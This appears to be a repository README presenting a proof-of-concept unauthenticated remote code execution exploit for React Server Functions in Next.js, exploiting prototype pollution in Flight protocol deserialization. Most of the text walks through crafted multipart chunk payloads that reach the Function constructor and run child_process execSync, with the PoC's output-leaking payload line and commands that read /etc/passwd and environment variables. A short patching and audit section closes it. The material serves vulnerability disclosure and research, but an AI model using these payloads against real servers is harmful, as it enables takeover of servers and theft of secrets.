
Proof of concept for a Remote Code Execution (RCE) vulnerability in React Server Functions (Next.js, etc.).
Exploits prototype pollution to execute arbitrary code on the server without authentication.
Warning: This repository is for educational and research purposes only. Unauthorized use is strictly prohibited.
Insufficient validation of the prototype chain during deserialization in the React Flight Protocol.
This allows access to the Function constructor via __proto__ and execution of arbitrary JavaScript code.
The simplest way to verify.
# 1. Start the vulnerable Next.js server
docker compose up -d --build
# 2. Run the exploit (default: id command)
docker compose run --rm poc
# 3. Execute a custom command
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 4. Stop the server
docker-compose down
A server-side API feature provided by frameworks like Next.js.
// Server Action (a function executed only on the server)
async function submitForm(formData) {
'use server' // ← Server function declaration
// Server-side processing, e.g., database operations
const result = await db.insert(formData)
return result
}
When called from the client:
The client sends data in units called chunks:
files = {
"0": (None, '["$1"]'), # chunk 0: reference to chunk 1
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # chunk 1: references fruitName of chunk 2
"2": (None, '{"fruitName":"cherry"}'), # chunk 2: actual data
}
After deserialization on the server:
{ object: 'fruit', name: 'cherry' }
The key point is that chunks can cross‑reference each other.
Before the fix commit, when resolving chunk references, the code did not verify whether the key actually existed on the object.
This allows access to the prototype chain.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Reference resolution process:
chunk 1's object → __proto__ → constructor → constructor → Function
Result:
[Function: Function] // Function constructor obtained!
then Method)Making chunk 0 an object and setting the then property to the Function constructor:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
In Next.js code (action-handler.ts:888, before patch):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
This await tries to call the then of an object whose then is the Function constructor, resulting in an error:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
We can obtain the Function constructor, but how do we execute arbitrary code?
What we need:
Idea by maple3142: create a "fake chunk" where chunk 0 references itself.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # overwrites its own then with Chunk.prototype.then
"1": (None, '"$@0"'), # $@0 = the raw representation of chunk 0
}
The $@ syntax returns the raw chunk instead of the resolved value:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Result: the then of chunk 0 is replaced with Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← we enter here
}
// ...
}
If we set status: "resolved_model" on the fake chunk, initializeModelChunk is called:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Inside initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Here a second evaluation occurs.
React Flight Protocol's blob handling uses the $B prefix:
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← we abuse this
);
Manipulate the fake chunk's _response so that _formData.get is the Function constructor and _prefix contains the code to execute:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # prevents toString() errors
"value": '{"then": "$B0"}', # sets then via blob reference
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Function constructor
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Execution flow:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// This function is awaited and called → code execution!
poc.py implements the above payload and extracts command output from error messages:
# Embed command output into the error's digest field
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Simply setting the HTTP header Next-Action: x is enough to trigger the attack:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Important: The attack occurs during deserialization, before action verification (getActionModIdOrError) takes place.
Update Immediately: Update React and Next.js to the latest versions
npm update react react-dom next
Check Versions:
npm list react next
WAF/Security Measures:
Next-Action headers# Check your project for vulnerabilities
npm audit
This repository is provided for educational and research purposes only.
Vulnerability discovery: maple3142
PoC implementation: Author of this repository